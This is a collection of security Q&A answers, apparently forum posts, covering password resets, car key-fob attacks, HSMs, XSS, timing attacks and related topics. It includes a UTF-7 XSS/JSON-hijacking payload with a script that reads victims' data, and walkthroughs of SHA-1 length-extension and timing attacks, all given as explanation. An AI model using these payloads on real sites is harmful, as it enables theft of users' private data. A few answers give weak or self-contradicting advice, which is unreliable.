[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

In the UTF-7 encoding, that apparently decodes to:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

And then, given the power to execute JavaScript in the context of the response, you can write more/other evil code, e.g. code to read the rest of the response. For example:

[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

Read the blog post for more details about the implications of this, but the idea is that you'd get a user to open a page on your site, make this script request (which would use the victim's cookie credentials), and then JSON hijack it to read a partial list of the user's friends.


Providing a SMS recovery feature without compromising the security of an account

I don't think this is possible, with 1 and 2 you are effectively giving the user full control of the encryption keys and making sure the server does not know them. However, with 3 you need to generate new keys.

However, for securing against an attacker getting a copy of your database, a HSM will help. An HSM is a hardware storage of private keys, meaning it is impossible to copy the private key.

For your SMS-application, you would encrypt the profile key with the public part of the HSM keypair. When you need to generate an SMS-key, you can have the HSM decrypt the profile key and either re-encrypt it with the SMS-password (as you do with the regular password), or just use this as a part of the password-reset process (decrypting and re-encrypting when the user sets the new password).

There might be advanced cryptographical tools I don't know, maybe zero knowledge proofs could be used, however, this sounds like PhD-research-level stuff.


What are the countermeasures against key cloning?

Obviously nothing can prevent a broadcast RF signal from being copied, replayed, or studied.  Any security has to be embedded in the protocol itself, but secure protocols are notoriously difficult to get right.  The history of WiFi flaws in WEP, WPA, and even WPA2 shows that even a popular protocol can be broken in unexpected ways.

Current car remotes do have some encryption and defenses, but they're inadequate against modern attackers.

Automakers have relied on third party chips that developed a rolling-code technique about 20 years ago.  They were designed by very smart software and electronics engineers, but not by cryptographers.  (Perhaps they mistakenly thought that if they couldn't break their system then nobody could, but that's now how cryptanalysis works.  This was a common failing in that era.)  Rolling codes are very susceptible to a "Rolljam" replay attack.

Remote control locks have to meet price-point, reliability, convenience, size, power, and performance concerns.  A pair of radios could perform a very secure TLS 1.2 key exchange, but transmitting 8000 bytes over 433MHz using current protocols and electronics would take thousands of milliseconds.  Such a lengthy message would likely trigger dozens of packet resends due to interference, and the typical CR2032 coin cell battery in the typical remote wouldn't have enough power to last a year. (Using WiFi chips and 802.11 to operate the locks would be possible, but I don't know of any cars using this model.)

Modern attackers spread themselves wide, attacking not only the cryptography but the protocols, packet timing, jamming, power consumption, eavesdropping, and OSINT (reading published documentation.)  The advent of Software Defined Radios means that anyone with a $20 radio and a laptop can now attack a system that used to require a bench full of RF gear and a ham radio operator. And the rapid spread of code and intel on the internet means that nothing remains secret once it's been discovered and revealed anywhere.

Attackers have matured greatly since these key fobs were first invented, but RF protocol engineering has not kept pace.

But you asked how you can defend yourself against current attacks?  The glib answer is that it's almost impossible when the protocols themselves are so weak.  Available options are extreme, and don't fit with most people's ideas of convenience or in their budgets.  Here are some suggestions, with the most important at the top:

Buy theft insurance.  This transfers the risk of having your car stolen to your insurance company.  Now it doesn't matter what kind of new attacks people invent, you have a financial defense that always protects you, instead of physical defenses that only protect your car against certain attacks.
Don't use your remote dongle to lock the car doors. Push the button inside the door to lock them when you leave. This prevents the Rolljam attack from working.
If your current key dongle can open your door locks by RF proximity, don't use the remote buttons on the dongle at all.  Again, this prevents interception at a distance, including Rolljam.
Leave the dongle at home and not use your RF buttons at all; use only the mechanical keys and locks that came with your car.  Note that picking car door locks is a skill that many people practice just as much as hacking (see some of the locksport challenges offered by TOOOL as an example.)
Study current attacks and develop technical countermethods.  For example, to counteract a Rolljam attack, you might consider building a 433 MHz jammer detector.  But that's only a defense against one type of attack.
Get new a car that uses a cellular connection to the internet and protects its communications via TLS, then use your phone to lock and unlock the doors.
Get a new car with a different security model built-in; like a Tesla that uses RFID cards and Bluetooth, instead of a remote keyfob.  But note that RFID tags use their own security that comes with its own weaknesses.


Sure automated checks are not sufficient, and believed that never will be. Well, until some AI is made. As for example fuzzers - they can cover only checks that fails for harsh input. Logical bugs will be missed. Source code analysis shows good results when the talk is about really severe bugs and those vulnerabilities that requires several conditions to meet. Binary analysis might be daunting for not so experienced person, but it is possible to inspect closed source code application and besides, it takes into account compiler specifications that are impossible to diagnose during source code analysis. So, every method has it advantage and should not be used alone.


I don't know any good methods that already exist. I see two ways to fulfill your requirements.

Javascript Cryptography. There is widely differing opinions on the effectiveness of Javascript cryptography. I personally believe that most of the current implementations have huge flaws. For a good argument against Javascript cryptography, see this link.
Trusting an online server somewhere to perform the encryption. This might work provided you trust the provider of the encryption service. I personally have no problems with trusting some of the more reputable companies out there to do this for me, but I can see some of the more suspicious or paranoid individuals having problems with this approach.

Both methods have flaws. Besides being slightly easier to use, I don't see much of a point. Any information you decrypt on a public computer will always be susceptible to keyloggers or other forms of malware. If it is information you need to keep secure, always access it from a trusted computer.


Purpose of having a identifier on a password reset communication

It allows to identify the password reset attempt

Suppose that you request a password reset (new password: "12345"). However, the reset email is slow to come and, after waiting for some time you conclude if failed and make a second attempt (new password: "67890").
Meanwhile, the first email arrives. You open the password reset email and it tells you to enter the password/token "12345" in order to recover your account. However, and to your frustration, it simply doesn't work, complaining that it is invalid (but you have their email in front of you!) due to the fact that -unbeknownst to you- it is now expecting "67890".

If there was such identifier (and you compared it), you would be able to notice that it is not the same attempt, and wait for the second email to arrive. Even if you had received both emails, the identifier could allow you to select the right one.

Personally, it doesn't seem a very appropriate method. I would recommend providing a timestamp instead. The password reset email should contain the timestamp at which the reset attempt was made for logging. Mentioning “make sure that the email is for the reset request at xx/yy/zzzz hh:mm:ss” would be much clearer.

Another option is that it is intended to avoid people following links on fraudulent password reset emails. But if you didn't make such request then, by definition you would not have any to compare with, and thus I doubt it protects you from anything.

PS: Additionally to the above, they should be emailing tokens, not passwords (or at least forcing them to be changed on the next login)


Windows Account Password Resetting process for large network

Currently we ask them to raise help desk ticket and the IT team will reset according to their request. But we have a security issue on this process because if widows password is lost he ask to raise a ticket to another user. Therefore any user can request a password change for someone else.

Indeed, in some companies, it's possible to request a password reset even by phone.

  what would be a technical solution and process to avoid this security issue and reset user password securely.

In theory, the service-desk should validate the requesting user - e.g. check the calling phone number or call back the user to a registered (company) phone

In our company, we have a self-service service (web page), where users could register their alternate phone numbers, emails (e.g. private emails), security questions. In that case, they could reset their domain password themselves.


There is no such thing as a "Byzantine password system". "Byzantine complexity" is a description of:

  anything that is so overly and unnecessarily complex as to be beyond
  understanding.

So, all they are saying is to split up passwords across multiple systems.

  Does that actually make sense? Anyone tried that? Is this an actual
  system many people used?

Yes. All the time, and in various different ways. In more general terms, it's called system redundancy. Like when servers are distributed across AWS as well as Azure. Also, data can be backed up on disks, RAID arrays, mirrored systems, and backup tapes all at the same time.

For passwords, many people do this in various ways. Some passwords are stored in password managers, others in the person's memory, some are written down. Some people store some passwords in their browser password manager and some in a 3rd party password manager.

You need to perform a risk analysis to determine what's going to work for you and what risks the extra complexity will create.


Didn't log out of YouTube - Is this a problem?

I am quite sure that the SmartTV cannot share your account session with other devices, but in any case you can remotely close the session by following the guide here: https://appuals.com/sign-google-account-remote-devices/


Alternative to Avast Safezone for banking

Would BD Safepay avoid this problem with its enforced virtual keyboard ?

Not completely: It would mean that actual keyloggers would no longer be able to intercept your keystrokes. In fact, this is why some banks require you to enter your password by clicking on-screen buttons. However, keyloggers have adapted, and some have also become "mouseloggers", which means that even with a virtual, on-screen keyboard you may not be safe, since these will take screenshots of what and where you click.

  Or perhaps Sandboxied browser with real time Zemena antilogger encryption and MBAE injected

Not really: It will make your environment more secure, but it won't gurantee anything. Zemena is basically an antivirus, and, if it does not detect the keylogger, you're out of luck. MBAE is similar: It won't help you if it doesn't detect the malware.

Tl;Dr: "Low-level" keyloggers could intercept your keystrokes and any other actions, no matter what you do.

What I'd recommend, as a "kind of" alternative: Use a system which you know is not infected for your online banking. A Linux live CD could be used for this purpose. Also, If Avast or another antivirus tells you that you're safe, you probably are.


In this example, the server code looks like this:

Incoming value is "X|Y" -> split between "X" and "Y"
Compute id = Un-Base64(X)
Compute h = SHA-1(secret_key + id)
If the hexadecimal value of h is not equal to Y, then deny access
id is "user|role" with "role" being either 0 or 1; so, if id ends with "|0",
grant administrator access.

secret_key, of course, is unknown to the attacker. But the attacker can try to guess the length of that key, if only by trying different lengths; in that example, secret_key has length 25 bytes.

SHA-1 suffers from the length extension attack (like all Merkle–Damgård hash functions). See this answer for detailed explanations; bottom-line is that by knowing the length of secret_key, the attacker can compute a special "id" string like this:

id2 = aaaa|1somebytes|0

where somebytes include the SHA-1 standard padding, and then the attacker can compute the appropriate hash value for that "id", starting with the known SHA-1 value (the one for aaaa|1) and without knowing secret_key (that's the point of the "length extension attack": computing h(m') where m' starts with an unknown m, but with h(m) known).

The server will believe the provided "id" string to be genuine, and grant administrator rights to a user named "aaaa|1somebytes".


Is Exposing Real IP Through Subdomain A Security Implication?

Does using a random subdomain like the one below introduce any
  security implications?

The issue isn't so much whether you're making things less secure, rather it's whether this serves any benefit and whether there's not a better alternative to serve the same purpose.

  ssh.example.com

The reason people do this is because it's easier to remember a subdomain than an IP address, and so they do this albeit at the risk someone might discover the IP.

In your example it's unlikely anyone could guess the subdomain, but I doubt anyone could remember a random 64 character subdomain either - so really you might as well just remember the IP and avoid the risk altogether.

Further to that, there's better ways to provide access to administration services while still offering a similar level of convenience. For example you could have a VPN gateway on a different server/network and administer your production servers via that.

That way even if you had a vpn.example.com subdomain and they discovered and DDoS'd that, it wouldn't expose or affect your production servers. You may not be able to access the VPN until you mitigate the DDoS, but the impact on your service will be much lower.


Are different hash algorithms ever used together?

Using two hash functions together, as an extra safety against a breach of one of the functions, is delicate. Concatenation (the data is hashed with both hash functions, the results are concatenated) yields a collision resistance equivalent to at least that of the strongest of the two functions (and, surprisingly, not really better than that); on the other hand, concatenation makes preimage resistance no better than the weakest of the two functions. Composition (the data is hashed with one function, and the result is hashed with the other function) offers the opposite: preimage resistance is at least as good as the strongest of the two functions (subject to some definition subtleties, depending on whether you want resistance against recovering the data which was used, or just any message which yields the same output), but for collisions the weakest function defines the overall resistance.

So combining two hash functions together is, at best, a mixed blessing. SSL/TLS, up to TLS 1.1, combines MD5 and SHA-1 into its internal "PRF", which is notably used as a key derivation function (to extend the negotiated secret into keys for symmetric encryption and integrity control); both functions are used in HMAC and then turned into custom PRNG, and the two generated streams are XORed together. The intent was to have a key derivation function which resists cryptanalytic breaks of either MD5 or SHA-1 (whether this really works has not been formally proven; it really depends on the nature of the "break"). It is interesting to note that TLS 1.2 reverts to using a single (configurable) hash function. Combining two hash functions together means that you have to implement both, which is a problem for embedded systems which often have hard constraints on code size.

So the usual advice is: do not do it. It is hard to get it right, and even if you do not introduce any weakness, it is unclear whether you actually gain anything that way, security-wise. On the other hand, there are clear operational costs. It seems better to use a single, better hash function (which means: ditch MD5 and SHA-1, just use SHA-256 instead), with algorithm agility (make the hash function configurable, so that you could change it later on).


Is it secure to SMS your Credit card info (or other info) to someone else?

Via virtual Phone Services like Google Voice, SMS can be delivered to someone's email, SMS can be no safer than email. There are also many Services that clone SMS messages from your phone to your computer or email. So, like the question you referenced, even if the receiver is trustworthy, you're relying on an awful lot of infrastructure staying secure. Sounds pretty risky to me.


What are the pitfalls while generating a random number from a random data set?

The files that you would be using (if used as is) would not be random, 'cause text files and web pages have a not-even distribution: letters will appear much more than anything else.

To avoid that, you said you would encrypt, decrypt, mix, etc, your files. So, you'd have a lot of work to generate some values that will be random. Well, why not use some pseudo random number generator to generate them? Blum Blum Shub is good to generate such numbers and also has a funny name.

Some others are listed in the wikipedia...

And it's better to use a already tested algorithm then try to recreate your numbers with something that you can't garantee that will end up having a random distribution. Let's say, what if all your files are similar, or somehow biased to some values? or you choose a encryption algorithm that, somehow, produces a biased result?


Security risk of connecting one mobile device to another mobile device's hotspot

If you control both devices, then the only extra risk I would be concerned about is someone sniffing the wireless traffic between the two, so use decent encryption, and possibly restrict access by MAC address etc and you should be fine.


What are the NIST/FBI requirements for Fingerprint readers, and Iris scans?

The DHS released HSPD-12 in 2004, which called for a mandatory standard for federal employee identification and verification. NIST responded six months later with FIPS 201, the minimum requirements to meet the objectives of HSPD-12.

FIPS 201 refers to Special Publication 800-76 (SP 800-76) for "the requirements for collection and formatting of
biometric information". SP 800-76 goes on to reference the ANSI/NIST Fingerprint Standard AN2011 for the preparation of biometric data suitable for FBI background checks, as well as the FBI's Electronic Biometric Transmission Specification EBTS (download).

Other referenced Special Publications from FIPS 201 are:

SP 800-73 Interfaces and card architecture for storing and
retrieving identity credentials from a smart card
SP 800-78  Requirements for cryptographic algorithms
SP 800-79 Requirements for the accreditation of PIV Card issuers
SP 800-87 Unique organizational codes for Federal agencies
SP 800-96 Requirements for the PIV Card reader
SP 800-156 Format for encoding the chain-of-trust for import and export
SP 900-157 Requirements for issuing derived PIV credentials

While I don't know of any smartphones that are FIPS 201 compliant, there are many compliant peripherals that can be used with iOS and Android devices.

A searchable list of FIPS 201 compliant devices can be found at https://www.idmanagement.gov/IDM/IDMFicamProductSearchPage


Hardware security modules (HSMs)are the safest way to store keys.   These are specifically constructed in such a way so that keys cannot be retrieved from the hardware, including anti-tampering measures that prevent attackers who physically intrude into the devices from being able to extract keys.

If you have private keys that you need to be able to retrieve, the most secure mechanism for storage still includes an HSM...The HSM is where the that you used to encrypt your keys would live, and you send your encrypted keys to the HSM to be decrypted with a key that it retains and protects.


Instead of changing the settings on your machine, why not send your traffic through another machine?

Use a Windows machine as a proxy and send all traffic through it. If you virtualise the process, you can have many machines, all with different configurations and OSes, and you can switch from one to the other at will.

And if that can work, then why not just use all those disposable VMs as your machines and not proxy at all? Remote into those VMs, do what you need to, and switch as needed.


The real router doesn't "tell the victim that they are the router" (by sending an ARP reply), unless it gets an ARP request from the victim (asking "who is the router?").

The victim won't send an ARP request unless the fake entry times out of its ARP cache (so that it "forgets that the attacker is the router").


What are the security implications of allowing all incoming connections in a firewall on a typical Windows server?

Each port that's open to connections from the internet is a possible attack vector, opening just one port ie TCP/80 gives the hordes of botnets the ability to connect and try to exploit any vulnerability with IIS to gain access or possibly break your server.

Opening every port multiplies this risk greatly, more ports and services, more chance that one of them is misconfigured or vulnerable and it only takes one vulnerability or an easily guessed password for your server to be compromised.

Is every single service running on that server patched and hardened? Does every service have protection against brute force attacks? Do you know what every open port is doing? If the answer to any of those questions is no, then the implication is that your server will eventually be hacked. The internet is not a forgiving place.


When does a PA-DSS certified application expire?

You've got it correctly - if you install an approved PA-DSS application during its "Acceptable for New Deployments" phase, then you may continue to use it indefinitely.  To quote the PA-DSS Program Guide:

There is currently no sunset date for PA-DSS validated payment
applications that were on the list at the time of deployment.
Deployed payment applications that expire may continue to be
used. The expiration timeframe is associated with new
purchases/deployments, not existing deployments.

Of course, as both the Program Guide and the Requirements and Security Assessment Procedures state:

A PA-DSS compliant payment application alone
is no guarantee of PCI DSS compliance.

It's likely that the age and unmaintained status of a former PA-DSS compliant application would be a factor for your QSA, especially if there are reported problems with the software.  Your question suggests that a large grandfather clause loophole wouldn't make sense - it doesn't, and the compensation is that your QSA is allowed to call BS if they feel the grandfathering has gone long enough.


Is it an Android tablet? At the very least, your tablet & PC probably have different cpu architectures, so the exact same install/iso probably wouldn't work. And I haven't seen any Android tablets that can boot from an external drive... anyone else?

There are a few Android apps for TOR & similar tools (chat secure, etc) that may give some similar functionality as Tails has. See https://guardianproject.info/apps/


Testing for Cross-Site Scripting is unfortunately not completely straightforward .  Depending on where your input is returned, you might need to use a number of different vectors to test it completely.

If you want to use an automated tool to review your site, something like arachni might be a good idea, or burp pro's scanner if you have access to that.

From a manual perspective, you can get an idea of the range of possible vectors from the list at html5sec


How to run FCS_TLSS tests of for common criteria evaluation?

If you are using vanilla OpenSSL, you will pass Common Criteria TLS traffic modification tests. If you are using something else and is unsure, you will have to write your own client to send modified packets.

Generally, it will be up to a CC lab to run these tests to certify your product. They will have their own tools and methods.

Keep in mind, NIAP constantly issuing technical decisions, some are revisions and clarifications on how to conduct TLS testing.


Can MITM redirect my HttpsURLConnection?

So we're assuming here that the attacker has a certificate which your device would see as "trusted" and is a position to intercept and modify traffic from your device before it reaches the server.

In that case, at a basic level, it would be likely that they could redirect the client to a server under their control.  When your device makes the DNS request to resolve "https://www.hardcoded.unchangeable.uri.toserver" the MITM attacker can intercept that and reply with an IP address under their control.

Your client then starts an HTTPS connection with the attackers server.  As the attacker has planted the fake signed certificate on your device (assuming here they've put a trusted root onto the device) they can just sign the certificate on the server that they redirect the client to with that root and your device will see it as "trusted".

The best way to mitigate this attack is to have your application make use of "certificate pinning" where it will only trust specific certificates, as opposed to trusting any certificate with the correct host name, which has been signed by a trusted root cerftificate which is installed on the device.


Using wireless for security devices is a very bad idea as it can get jammed. No matter how good the crypto is, an attacker doesn't have to actually break it but simply flood garbage data over the frequencies with a stronger transmit power than the legitimate device and your CCTV goes dark.

I highly suggest you rethink your approach and switch to wired cameras (if possible network cameras - coax and analog are a thing of the past).


Is sql where queries in authentication prone to timing attacks, if one or no database rows are returned?

One way to protect against timing attacks when querying an indexed database field, would be to hash the value server-side. It's similar to how an attacker can't login if they obtained hashes of a password because the server still applies the hash before checking the database.

The original code (from the question above) has a number of issues, as marstato's answer pointed out, so let's start with this code instead:

$token = $_COOKIE['token'];
$db->query("SELECT COUNT(*) FROM sessions WHERE token = ?", $token);

The attacker can indeed incrementally find a valid token. It is typically hard or impossible, but in theory, this works. The attacker would query "A" and the server would ask the database for "A". Then they try "B" and the server asks the database for "B". If "A" was faster, they now try "AA" and "AB". If that is slower, they might try "BA" and "BB", etc. There's a lot more to it, but to recap the general idea of a timing attack, that's how it works.

To fix the issue, you could do this:

$secret = 'qJHcsgkED0egeuljhsZr'; // randomly generated
$hashed_token = hash_hmac('sha256', $_COOKIE['token'], $secret);
$db->query("SELECT COUNT(*) FROM sessions WHERE hashed_token = ?", $hashed_token);

Let's try the attack again: the attacker tries "A" and the server queries the database for "a661024ef...". The attacker tries "B" and the server queries the database for "5407624cb...". The timings are equal (or at least random) because neither will exist and it will never lead the attacker to a valid token.

This is, of course, dependent on the $secret remaining secret. It would be best practice to change this regularly so that an old employee cannot know the secret and apply the attack, but this does mean that you have to also change all values in the database. If the database can do HMAC, you could work around that by doing something like this:

$secure_rnd = openssl_random_pseudo_bytes(16);
$randomized_token = hash_hmac('sha256', $_COOKIE['token'], $secure_rnd);
$db->query("SELECT COUNT(*) FROM sessions WHERE hmac(token, '$secure_rnd') = ?", $randomized_token);

Security-wise, this is the best approach for three reasons:

While it is equivalent in speed to a non-indexed field, it prevents a future database admin from accidentally indexing the field. Typically, one would index a field when it is used for lookups. This leads to a timing attack, but how would you tell your future database administrator? Better have code in place such that it does not matter whether the field is indexed
If the field were merely non-indexed, there may still be an attack: the database will go through each row and compare the values. Going through each row and comparing the first character is O(n), but if the database compares more characters (because more than zero characters match), it will take slightly longer, so an attacker could (again, theoretically) observe this slower response and learn that they guessed more than one character correct of any token. Using a $secret or $secure_rnd is not vulnerable to that.
It does not depend on a static $secret that may be known to old sysadmins.

The downside is that it is an O(n) slow query.

A hybrid approach, to take advantage of an index while avoiding a static $secret, might be to use a $secret that is changed daily. During the transition period every night, the application server could first try today's secret and, as a fallback, yesterday's secret. Since your tokens as well as the hashing method should be secure (otherwise you have bigger problems), looking for two values should never lead to collisions with other tokens. Once every database record is updated, it can stop querying for the old $secret. The cron job that updates the database can write the secret(s) and upgrade status to a config file.

That said, I have never heard of anyone using a timing attack like this. Comparing passwords in a language like PHP, yes, but not with a database query. Most session token systems I know work in this theoretically-insecure way and yet they never seem to get hacked. That doesn't mean it's impossible, and especially if it seems 100% possible in theory, someone will probably make it work in practice sooner or later. While I'm not sure all this effort is necessary today for a small website, it would be good to protect high-security systems.


Zero Knowledge Password Proof: why is hashing the password on the client side not a ZKP?

Your example removes the notion of hashing altogether: H(S+P) becomes a cleartext password that can directly be reused without any extra work.


What torrent software should I be aware of as a security professional?

First of all, there's nothing inherently dangerous or illegal (except perhaps in unusual jurisdictions) about using BitTorrent. There are plenty of free clients out there all that are well-respected and trustworthy.

BitTorrent is frequently used to distribute large open-source projects, such as ISO files for Linux distributions. It's also used by companies like Blizzard to distribute software updates.

BitTorrent cannot be used in a strictly anonymous manner any more than any other Internet protocol can. That is, your IP address is always available to anyone communicating with you. You can, of course, gain some amount of anonymity by co-opting someone else's IP address, as you would with TOR or by connecting from a public cafe. But that's slightly different from being truly anonymous.

BitTorrent was not designed for transferring data securely. Data is check-summed against hashes, which  offers some security against tampering, but the files are inherently public.


Can people get my social media from my IP address?

No, Your ISP can find your social media profiles by using your IP address and timestamp simply by searching into your browsing history in their logs.

So that attacker can't find anything about you with your IP address only. Maybe if he has more details like your name, he could use some services like pipl.com to search your social media profiles. That's a process called "Doxing" but that's not our topic here and it's not that effective without the right information!

No need to worry!


Why does the result of ssh-keyscan -H contain a header line with the un-hashed server ID?

Is there some logical reason for this, or is it a bug?

It's not a bug, it is a feature. The line with the comment is written to stderr unlike the host keys, therefore it is no problem if you do

ssh-keyscan -H -t rsa host > /your/known_hosts

The list of hosts will go to your terminal and not into the file.

Example:

ssh-keyscan -H -t rsa host 2> /dev/null

will show you only the hashed keys and no "comments" with hostnames.


This looks like something that needs to be redesigned entirely. The main issue is that you are allowing the contents of the about.html file to be written to via a web request.  The user can submit a request will allow them to render arbitrary html.

Can the markup in about.html be templated? If so, then you can escape the fields for the appropriate context (attribute vs. element), but as it stands right now there is not a good way to secure this code.

Edit for clarification:
It sounds like you may need a better understanding of what Cross-Site Scripting (XSS) is.  XSS is acutally a terrible name for the vulnerability.  What is really occurring is client side code injection.  More information is available here: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)   The heart of an xss vulnerability is the fact that an attacker can control what the user's browser (render markup and execute arbitrary JavaScript).

The issue with the current implementation is that you are trying to let a user write an entire html document.  With your solution, the user needs to be able to write some html, but should not be allowed to write malicious html.  This is extremely difficult to do correctly. Escaping the html (using htmlspecialchars, in this instance) being a part of the correct solution, but I don't believe it it will work with the current implementation. A much easier solution would be to template out the about.html file, and escape all of the data that the user is passing in.  This way none of the markup will be controlled by the user.


Why Youtube, or any other Google services use account binded authorization key plain in the url?

If you are on the premium plan, you can get a Google ClientID, which comes with your own private key.

After you sign up for the Google Maps APIs Premium Plan, you'll receive a Welcome letter from Google at the contact email address you provided. Your Welcome letter contains the following important information, so make sure you keep it handy:

Project ID
Client ID
Private cryptographic key for your client ID
Google Account

Authentication and authorization
To make requests to our APIs, you must authenticate your application with either an API key or your client ID. In addition, requests for some APIs also require digital signatures.

But you have to be premium :)


The very top of the documentation has the following warning:

Warning: This API provides a number of low-level cryptographic primitives. It's very easy to misuse them, and the pitfalls involved can be very subtle.
Even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts.
Errors in security system design and implementation can make the security of the system completely ineffective.
If you're not sure you know what you are doing, you probably shouldn't be using this API.

This simply means if someone is able to successfully mount a Man-in-the-Middle attack against you, then just throwing more and more cryptography at the problem with the hope that something will be effective is just the plain wrong way to go.
But to answer the question "How can SubtleCrypto help in the process of sending a password via HTTPS?", the answer is "not really all that much".


How should certificates be shared between a proxy and a frontend?

If you have a self-signed certificate you need your clients to trust it.

Alternatively you can have the client not check whether the certificate is trusted, but that's a terrible idea.

How you do that depends on your clients. If you have something like this:

[user-agent]---------[frontend]---------[proxy]---------[backend]

The user-agent (probably a browser) is the client for frontend, frontend is the client for proxy and proxy is the client for backend.

Each client here needs to trust the certificate offered by the server, either because it's signed by an already trusted entity, or because you add the self signed cert to the truststore.

So yes, self-signed can give you trouble

If the proxy is there for scalability reasons there will be more backend hosts in the future.

If all communications behind the frontend are internal to your organization, you can setup your own internal CA and trust its root certificate in the frontend and proxy.

This way you can add new hosts internally each with their own certificate and the clients will automatically trust it.

Using different certificates for different servers is usually a good idea, independently of whether you deploy your own CA or not. When a key is compromised you need to revoke the certificates for that key, and any host that shared certificates with the compromised one will require new certificates as well.


So is it possible to add this header in the request without sending options request?

No. Anything but "simple" requests will cause a preflight requests. Simple requests are everything you could do without XHR, i.e. with an image include, form submit etc. Adding new headers will result in a non-simple request and thus will cause a preflight request.

  Can the request be proxied somewhere which then adds the header to the server?

CORS is only enforced in the browser. If the browser sees this as a simple request since the header is only added by a proxy, then the browser will not send a preflight request.


Recover EFS encrypted folder after wiping system partition

If the computer was connected to a Windows domain and the files were encrypted by a domain user it is possible you can use the recovery agent to decrypt the files (See http://support.microsoft.com/kb/308993, http://support.microsoft.com/kb/223316). You can use efsinfo.exe to determine this (See http://support.microsoft.com/kb/243026)

In this case you would use not change the permissions on the file you would just decrypt the files using the cipher command (See http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/cipher.mspx?mfr=true) with the recovery agent account (this would likely be the domain administrator but may be configured differently in your environment).

If you have the user’s ntuser.dat file from their profile you may be able to restore this to get the encryption key back. However the user must still be using the same password as when the file was backed up.

Hope this help.


List of sites that still dont support HSTS?

Assuming you already have a newline-delimited list of domain names you wish to check, use a script such as this one which takes the list in a file specified by the first argument or stdin:

#!/bin/bash

while IFS= read -r s; do
    curl -sI "https://$s" | grep -qiE "^Strict-Transport-Security:" || echo "$s"
done < "${1:-/dev/stdin}"

exit 0

This will output a list of domains to stdout that are up, but which do not send the standard HSTS headers over HTTPS. This does not mean that certain subdomains do not use HSTS, and it does not mean that all the sites which do send HSTS headers are doing so correctly. Checking whether or not the HSTS is syntactically valid would require much more complex regex.


How to perform Login Authentication at the client-side?

You can't.

The reason is that you can't trust the client at all. An attacker can modify the client as they wish, and circumvent any and all security measures you may have put in place.

  But what if we digitally sign our code? The attacker can't modify it then, right?

Yes, they can. If you sign your code, the machine of the attacker needs to validate the signature and refuse to run it if the signature of the client does not match. Nothing stops the client from disabling this signature check and simply run code with a wrong signature or no signature at all.

Furthermore, if you don't want to involve the server at all after sending the website, then all the potentially confidential content needs to be sent to the client first (before knowing if they are authorized to see it), and later revealed to them.

Nothing stops an attacker from simply looking at the raw content being sent to them over the network, without any client-side code being run.

  But can't you encrypt the data with the user credentials?

Yes, you could. But your goal is to authenticate the user, which means you confirm if the user is actually who they claim to be. The scheme suggested by user9123 would work as follows:

User claims to be user "foo".
Website encrypts payload for "foo" with credentials for that user, e.g. "foo:bar".
User enters their credentials, which locally decrypt the payload.

This scheme does not authenticate the user to the server in any way. The server does not know if the user is really "foo" or not. Furthermore, if the user has a weak password, the attacker can attempt to crack it. Yes, a key-derivation function can make this process slow, but it is still essentially a credential leak.

What I am curious is why you would want to attempt this scheme, instead of the traditional tested method?


Browsing exploits with Metasploit console

There's a couple of ways you could do this, that spring to mind

First up would be using search  which will show exploits matching the search term, (eg, search fileformat would return modules matching that term.  The other was would be to use the tab completion, so if you type:

use exploit/windows/fileformat/ and then hit Tab. It'll scroll through all the exploits under that folder.


What is the standard practice to maintain a password for different websites?

There are different mitigations suggested like for example PasswordCard or some hints how to extend your password with the site name or even hash tools.

But the only best practice is to use a password manager with a strong master password and generate random passwords for each site.


Cuckoo Sandbox python errors after task submission

Yes, that's a bug in 0.5 that has been fixed in 0.5.1-dev. In theory it should only happen with Python 2.6, as we recommend using Python 2.7. You can manually apply this patch to fix it:
https://github.com/cuckoobox/cuckoo/commit/a6ae875f437e32d6b0f1af4107c0459f6fa7ecc3


Can a school wifi track your wifi after you disconnect?

Your Laptop, Your Network

No, they cannot see what you're doing on your laptop when you're on your network, because you're using your machine and accessing the internet through an ISP that's not theirs. You're right to suspect that monitoring you in this situation would be illegal.

Their Network

When you're on their network, however, the game changes. They can monitor your internet traffic. If you're browsing by way of HTTPS, they can see what domains you visit, https://www.website.com for example, but not that you ventured to https://www.website.com/questions. In this case, the /questions element would remain hidden. Assume that your activity is being monitored while you're on their network, even when you're using your own computer.

Their Machines

I know this is beyond the purview of your question, but note that they can monitor far more when you're using one of their computers. They can, for instance, install a keylogger, have a program take snapshots of the screen at random times, etc. For this case, I invite you to explore the following thread for additional information: Can my employer see what I do on the internet when I am connected to the company network?


AD User vs SQL User for SQL Server Authentication

Ideally, the user or application accessing SQL Server should be using the set of credentials that identifies them correctly, and that has been assigned the appropriate level of access to the SQL Server and/or database(s) as needed to perform the actions they need to perform.

SQL Authentication is a legacy authentication mechanism  that in a properly configured environment should not be enabled at all.  Microsoft doesn't recommend it and the disassociation between the identity of the user or application from the authentication context is only bad, from a security point of view.

That settled, you are certainly correct that an application should not be accessing a database in the context of  a server or domain administrator account.  The web application should be run under an account that has the necessary permissions to execute the functions of the web application (including the appropriate access to the database(s) it requires to function) and no more.

Ultimately, this is not a question of AD auth vs SQL auth, but about the use (or lack thereof) of limited use accounts, or the violation of the principle of least privilege.  The fact that they're not using SQL auth is not a problem, and is in fact the correct design.  The fact that the AD accounts have  excessive privileges on the other hand, is as you've noticed, a serious problem and one that should be addressed.


The reliability & expertise in court is the responsibility of the examiner, not the tool. Voir dire will audit your training, experience, past testimony, etc. You can't audit or voir dire a tool, only a person (examiner). Use whatever tool you like, validate it with other tools as needed, update your tools regularly and don't be afraid to make a change if one tool isn't working for you. I used EnCase for years. I switched to Xways for a number of reasons. I also will use Autopsy to validate & for supplemental reasons. I may almost use Autopsy exclusively, but it doesn't create the forensic image, so that's a challenge.
Anyway, that's my 2 cents. Good luck!


How to write Snort rules based on MAC address?

Snort works higher up on the stack. The protocols it deals with are TCP, UDP, ICMP, and IP.

Check out the manual.


Are there any secure ways to store the secret key used in a TOTP scheme?

